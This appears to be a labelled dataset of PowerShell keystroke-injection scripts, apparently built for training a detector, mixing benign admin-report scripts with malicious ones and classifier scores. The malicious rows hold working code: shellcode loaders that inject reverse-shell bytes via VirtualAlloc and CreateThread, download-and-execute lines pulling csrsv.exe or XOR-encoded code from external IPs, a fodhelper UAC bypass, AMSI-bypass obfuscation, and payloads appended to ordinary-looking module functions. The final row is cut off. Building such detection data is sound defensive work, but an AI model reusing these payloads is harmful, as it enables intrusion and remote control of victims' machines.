"win+r powershell enter $OutPath = ""C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB"" function VOPVITQVJHENFGBTVHWQ enter CB($ROCLEBASGLQTJKOXPYQHTU) { $LZAVOBYIRFWZQZVCTGHPQB = """" for ($JNFPHLBFVBYBY enter QWVEETXND = 0; $JNFPHLBFVBYBYQWVEETXND -lt $ROCLEBASGLQTJKOXPYQHTU.Length; $JNFP enter HLBFVBYBYQWVEETXND += 2) {$LZAVOBYIRFWZQZVCTGHPQB += [char][int](""0x"" + $ROCLEB enter ASGLQTJKOXPYQHTU.Substring($JNFPHLBFVBYBYQWVEETXND,2))} return $LZAVOBYIRFWZQZV enter CTGHPQB } $NKEKXETXQOZCCCZAPIABJW = VOPVITQVJHENFGBTVHWQCB '696620282D6E6F7420 enter 28546573742D506174682020244F7574506174682029290D0A20202020202020207B0D0A20202020 enter 20202020202020204E65772D4974656D20244F757450617468202D4974656D547970652044697265 enter 63746F7279202D466F7263650D0A20202020202020207D' IEX $NKEKXETXQOZCCCZAPIABJW sta enter rt-sleep -s 3 enter enter",1,1,5.738541e-05,0.99994266
"win+r enter powershell enter enter enter function Unregister-PSFCallback enter { enter enter [CmdletBinding(DefaultParameterSetName = 'Name')] enter param ( enter [Parameter(Mandatory = $true, ParameterSetName = 'Name')] enter [string[]] enter $Name, enter enter [Parameter(ValueFromPipeline = $true, ParameterSetName = 'Object', Mandatory = $true)] enter [PSFramework.FlowControl.Callback[]] enter $Callback enter ) enter enter process enter { enter foreach ($callbackItem in $Callback) enter { enter [PSFramework.FlowControl.CallbackHost]::Remove($callbackItem) enter } enter foreach ($nameString in $Name) enter { enter foreach ($callbackItem in ([PSFramework.FlowControl.CallbackHost]::Get($nameString, $false))) enter { enter if ($callbackItem.Name -ne $nameString) { continue } enter [PSFramework.FlowControl.CallbackHost]::Remove($callbackItem) enter } enter } enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x02,0x7b,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1901363e-05,0.99994814
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_zjdu14ff"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Export-Csv -Path (Join-Path $ReportDir ""network_adapter.csv"") -NoTypeInformation enter Write-Host ""Starting system_inventory section 2."" enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Export-Csv -Path (Join-Path $ReportDir ""hardware_summary_report.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.386452e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_if739c0x"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-AppxPackage | enter Select-Object -First 100 Name, Version, Publisher | enter Export-Csv -Path (Join-Path $ReportDir ""software_appx_packages.csv"") -NoTypeInformation enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 10 Name, Id, CPU, WorkingSet64, Handles | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_10.json"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 3."" enter Get-LocalGroup | enter Select-Object Name, Description | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_groups.csv"") -NoTypeInformation enter",0,0,0.99996567,3.43254e-05
win+r powershell enter class Person { [string]$Id [string]$ClientId [string]$Nickname [string] enter $FirstName [string]$LastName [string]$FullName enter enter,1,1,0.010141085,0.9898589
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_szgv16q5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.txt"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.452938e-05
"win+r powershell enter  function Remove-MrSavedCredential { [CmdletBinding(SupportsShouldProcess, C enter onfirmImpact='Medium')] param ( [Parameter(Mandatory, ValueFromPipelineByProp enter ertyName)] [string]$Target ) PROCESS { enter enter",1,1,0.008387521,0.99161243
"win+r enter powershell enter enter enter $myEndpoint = ""<your-endpoint-URL>"" enter $myResourceGroup=""<resource-group-name>"" enter New-AzResourceGroup -Name $myResourceGroup -Location westus2 enter New-AzEventGridSubscription ` enter -Endpoint $myEndpoint ` enter -EventSubscriptionName demoSubscriptionToResourceGroup ` enter -ResourceGroupName $myResourceGroup enter enter",0,0,0.9999453,5.4699278e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_5o631kj5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_pnp_devices.csv"") -NoTypeInformation enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4524674e-05
"win+r enter powershell enter enter enter $1 = '$c = ''[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x86,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x8b,0x4c,0x10,0x78,0xe3,0x4a,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x89,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x69,0x69,0x43,0xda,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + ""\syswow64\WindowsPowerShell\v1.0\powershell"";$cmd = ""-nop -noni -enc "";iex ""& $x86 $cmd $e""}else{$cmd = ""-nop -noni -enc"";iex ""& powershell $cmd $e"";} enter enter",1,1,5.1663246e-05,0.9999484
"win+r enter powershell enter enter enter $Wc=New-ObjEct SYSTeM.Net.WEbClIEnT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$WC.HEadErs.AdD('User-Agent',$u);$WC.PRoxY = [SYsTEm.NeT.WeBReQUeSt]::DEFaulTWebPRoXy;$WC.PROXy.CrEdeNtIalS = [SysTeM.NET.CredEntIalCAche]::DefaULtNEtWORKCreDentIAlS;$K='9e5cb5679e5159a5910990d490d8920a';$i=0;[ChAR[]]$b=([CHar[]]($wc.DoWnLOADSTriNG(""http://192.168.164.180:8080/index.asp"")))|%{$_-bXoR$k[$i++%$K.LengTh]};IEX ($b-jOIn'') enter enter",1,1,5.602216e-05,0.999944
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_94xwq4tx"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.json"") -Encoding UTF8 enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_path_entries.csv"") -NoTypeInformation enter",0,0,0.9999658,3.4165118e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_u9n7pxmg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 150 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3888395e-05
win+r enter powershell enter enter enter  enter function Get-ResourceGroupName enter { enter return getAssetName enter } enter function Get-ResourceName enter { enter return getAssetName enter } enter function Clean-ResourceGroup($rgname) enter { enter Remove-AzResourceGroup -Name $rgname -Force enter } enter enter,0,0,0.99990404,9.594977e-05
"win+r powershell enter  function Get-MrVssProvider { [CmdletBinding()] param ( [ValidateNotNullOrE enter mpty()] [string[]]$ComputerName = $env:COMPUTERNAME, [System.Management.Auto enter mation.Credential()]$Credential = [System.Management.Automation.PSCredential]::E enter mpty ) $Params = @{ enter enter",1,1,0.0043103797,0.9956896
"win+r enter powershell enter enter enter function Set-InstalledScriptsVariable enter { enter enter $script:PSGetInstalledScripts = [ordered]@{} enter $scriptPaths = @($script:ProgramFilesInstalledScriptInfosPath, $script:MyDocumentsInstalledScriptInfosPath) enter enter foreach ($location in $scriptPaths) enter { enter enter $scriptInfoFiles = Get-ChildItem -Path $location ` enter -Filter ""*$script:InstalledScriptInfoFileName"" ` enter -ErrorAction SilentlyContinue ` enter -WarningAction SilentlyContinue enter enter if($scriptInfoFiles) enter { enter foreach ($scriptInfoFile in $scriptInfoFiles) enter { enter $psgetItemInfo = DeSerialize-PSObject -Path $scriptInfoFile.FullName enter enter $scriptFilePath = Microsoft.PowerShell.Management\Join-Path -Path $psgetItemInfo.InstalledLocation ` enter -ChildPath ""$($psgetItemInfo.Name).ps1"" enter if(-not (Microsoft.PowerShell.Management\Test-Path -Path $scriptFilePath -PathType Leaf)) enter { enter Microsoft.PowerShell.Management\Remove-Item -Path $scriptInfoFile.FullName -Force -ErrorAction SilentlyContinue enter enter continue enter } enter enter $package = New-SoftwareIdentityFromPSGetItemInfo -PSGetItemInfo $psgetItemInfo enter enter if($package) enter { enter $script:PSGetInstalledScripts[""$($psgetItemInfo.Name)$($psgetItemInfo.Version)""] = @{ enter SoftwareIdentity = $package enter PSGetItemInfo = $psgetItemInfo enter } enter } enter } enter } enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.7333986e-05,0.99994266
"win+r powershell enter delay_medium enter win+r enter delay_medium enter powershell enter enter enter delay_medium enter & ( $PShoME[21]+$psHOME[30]+'x')(NEw-objECt IO.COMpresSiON.DeflATESTrEAm([sYStEm.io.MeMOrySTreAm] [SYSTEM.CONVERT]::fROMBase64StRing('hZFPT8JAEMW/yqbxWiDqwYRweFvKtipiLRAhvdTusBj6L93qop/eXRKNXvCyyWTe+72Z2YvFXEy8tjHU6T2V5YCOxHzD9sx/aB7dU8fMD49UMP7R5lozn+qC3YIbiBASvMF0hFjhgHCFF8UvMW2wTvjS1SvFE8xiLA0XCA9Ygs8wM3gCf4eYQya8hzj5RojmeAb/dNyt4iWCGAvj+hpb8BZRjBg2JwI2idUL5focIrF99AhHKGDzrG6b8MpxC8cR19gYxwPuE5sfKVdrRLZvLFfcuPzkZx+r+7MfJhNv3JFiuZTMi+6CVZY2u97kHWVBaW9COhs0lcpSd8Fs0VKdFU1V5bX02FCyC3tjNtz9h6i0r6nvX2uls+CtW1N3cnsO7Tn/rpE2oKXOfdI47fOu99OSqGW+ZlcnvKSSejo7pPc9ynnt72lOli8=' ),[SYsTEM.io.cOmpressION.coMPRESsiOnmode]::DEcOMPRESS )| FoREACh-object{NEw-objECt SySTeM.Io.StreaMreadER( $_ ,[System.teXT.EnCoDINg]::ASCiI) }|foReaCh-objEct {$_.ReAdToEND()} ) enter enter enter unknown_key_action [decoded_payloads] enter unknown_key_action [decoded:from_base64_string] enter unknown_key_action $OMG=""powershell.exe -w h -NoP -NonI -Exec Bypass -enc JABwAGEAdABoAD0AIgAkAEUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwARABvAGMAdQBtAGUAbgB0AHMAXABzAGEAZgBlACIAOwBtAGsAZABpAHIAIAAkAHAAYQB0AGgAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwAGEAdABoAA=="";reg add ""HKCU\Software\Classes\.omg\Shell\Open\command"" /d $OMG /f;reg add ""HKCU\Software\Classes\ms-settings\CurVer"" /d "".omg"" /f;fodhelper.exe;Start-Sleep -s 3;reg delete ""HKCU\Software\Classes\.omg\"" /f;reg delete ""HKCU\Software\Classes\ms-settings\"" /f; enter",1,1,6.0984537e-05,0.99993896
"win+r powershell enter Function Binary2String([<#_~_#>String<#_~_#>] $Yatak<#_~_#>) { $byteList = [<#_ enter ~_#>System.Collections.Generic.List[<#_~_#>Byte<#_~_#>]]::new() for (<#_~_#>$i enter = 0;<#_~_#> $i<#_~_#> -lt $Yatak.Length; $i<#_~_#> +=8) { $byteList.Add([Conver enter t]::ToByte(<#_~_#>$Yatak<#_~_#>.Substring(<#_~_#>$i<#_~_#>, 8), 2)) } return [ enter <#_~_#>System.Text.Encoding<#_~_#>]::ASCII.GetString(<#_~_#>$byteList<#_~_#>.ToA enter rray()) } try { Function Convert-HexToByte([String] $IN) { enter",1,1,0.00012886093,0.99987113
"win+r enter powershell enter enter enter  enter function Get-ResourceGroupName enter { enter return getAssetName enter } enter function Get-DataBoxJobName enter { enter return getAssetName enter } enter function Get-StorageAccountName enter { enter return getAssetName enter } enter function Get-ProviderLocation($provider) enter { enter if ([Microsoft.Azure.Test.HttpRecorder.HttpMockServer]::Mode -ne [Microsoft.Azure.Test.HttpRecorder.HttpRecorderMode]::Playback) enter { enter $namespace = $provider.Split(""/"")[0] enter if($provider.Contains(""/"")) enter { enter $type = $provider.Substring($namespace.Length + 1) enter $location = Get-AzResourceProvider -ProviderNamespace $namespace | where {$_.ResourceTypes[0].ResourceTypeName -eq $type} enter enter if ($location -eq $null) enter { enter return ""West US"" enter } else enter { enter return $location.Locations[0] enter } enter } enter enter return ""West US"" enter } enter enter return ""WestUS"" enter } enter function TestSetup-CreateResourceGroup enter { enter $resourceGroupName = getAssetName enter $rglocation = Get-ProviderLocation ""North Europe"" enter $resourceGroup = New-AzResourceGroup -Name $resourceGroupName -location $rglocation -Force enter return $resourceGroup enter } enter function Assert-Tags($tags1, $tags2) enter { enter if($tags1.count -ne $tags2.count) enter { enter throw ""Tag size not equal. Tag1: $tags1.count Tag2: $tags2.count"" enter } enter enter foreach($key in $tags1.Keys) enter { enter if($tags1[$key] -ne $tags2[$key]) enter { enter throw ""Tag content not equal. Key:$key Tags1:"" + $tags1[$key] + ""Tags2:"" + $tags2[$key] enter } enter } enter } enter function Assert-CompressionTypes($types1, $types2) enter { enter if($types1.Count -ne $types1.Count) enter { enter throw ""Array size not equal. Types1: $types1.count Types2: $types2.count"" enter } enter enter foreach($value1 in $types1) enter { enter $found = $false enter foreach($value2 in $types2) enter { enter if($value1.CompareTo($value2) -eq 0) enter { enter $found = $true enter break enter } enter } enter if(-Not($found)) enter { enter throw ""Compression content not equal. "" + $value1 + "" cannot be found in second array"" enter } enter } enter } enter function SleepInRecordMode ([int]$SleepIntervalInSec) enter { enter $mode = $env:AZURE_TEST_MODE enter if ( $mode -ne $null -and $mode.ToUpperInvariant() -eq ""RECORD"") enter { enter Wait-Seconds $SleepIntervalInSec enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://89.248.170.218/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.4864624e-05,0.99994516
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_romyawve"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.txt"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter Get-AppxPackage | enter Select-Object -First 50 Name, Version, Publisher | enter Export-Csv -Path (Join-Path $ReportDir ""software_appx_packages.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.419533e-05
"win+r powershell enter $5xO = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntP enter tr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""ke enter rnel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, enter uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFla enter gs, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mems enter et(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $5xO -Na enter me ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xd0,0 enter xd9,0x74,0x24,0xf4,0xb8,0x63,0x2d,0x9b,0xb6,0x5b,0x33,0xc9,0xb1,0x47,0x83,0xeb,0 enter xfc,0x31,0x43,0x14,0x03,0x43,0x77,0xcf,0x6e,0x4a,0x9f,0x8d,0x91,0xb3,0x5f,0xf2,0 enter x18,0x56,0x6e,0x32,0x7e,0x12,0xc0,0x82,0xf4,0x76,0xec,0x69,0x58,0x63,0x67,0x1f,0 enter x75,0x84,0xc0,0xaa,0xa3,0xab,0xd1,0x87,0x90,0xaa,0x51,0xda,0xc4,0x0c,0x68,0x15,0 enter x19,0x4c,0xad,0x48,0 enter enter",1,1,5.4408523e-05,0.99994564
"win+r powershell enter #Matt Graebers second Reflection method $bX=$null;$lcx=""$([cHaR](83+31-31)+[ChA enter R]([BytE]0x79)+[chaR](115)+[CHAR](116*67/67)+[char]([byTe]0x65)+[cHar](22+87)).$ enter ([chAr]([BYtE]0x4d)+[Char]([BytE]0x61)+[cHAR](50+60)+[Char]([BYTe]0x61)+[CHar]([ enter byTe]0x67)+[CHAR]([byte]0x65)+[chaR]([ByTE]0x6d)+[cHAr]([BYte]0x65)+[ChaR](102+8 enter )+[cHaR]([bYte]0x74)).$([CHAr]([BYTE]0x41)+[chaR]([Byte]0x75)+[CHAR](74+42)+[ChA enter r]([Byte]0x6f)+[chAr]([BytE]0x6d)+[chaR]([bYte]0x61)+[ChaR]([bYtE]0x74)+[CHaR](4 enter +101)+[ChAR]([bYte]0x6f)+[cHar](110)).$([ChAr](65)+[char](109*57/57)+[char]([byt enter e]0x73)+[chAr](105*51/51)+[ChAR](85*9/9)+[CHar]([bYte]0x74)+[chAr](105+66-66)+[c enter HaR]([BYTe]0x6c)+[chAR](10+105))"";$oh=""+('bwlvwh'+'hqlmnp'+'mwlíôh'+'r').NoRmALi enter ZE([ChAr]([BytE]0x46)+[ChaR]([BYtE]0x6f)+[Char]([BYte]0x72)+[CHAR](109*41/41)+[c enter HAR](35+33)) -replace [ChaR](92)+[cHar](112*22/22)+[cHaR](123+104-104)+[char](77 enter +43-43)+[chAr]([BYTe enter enter",1,1,5.3673135e-05,0.99994636
"win+r enter powershell enter enter enter function Test-CPerformanceCounterCategory enter { enter enter [CmdletBinding()] enter param( enter [Parameter(Mandatory=$true)] enter [string] enter enter $CategoryName enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter return [Diagnostics.PerformanceCounterCategory]::Exists( $CategoryName ) enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0xc7,0x80,0x68,0x02,0x00,0x1f,0x90,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if 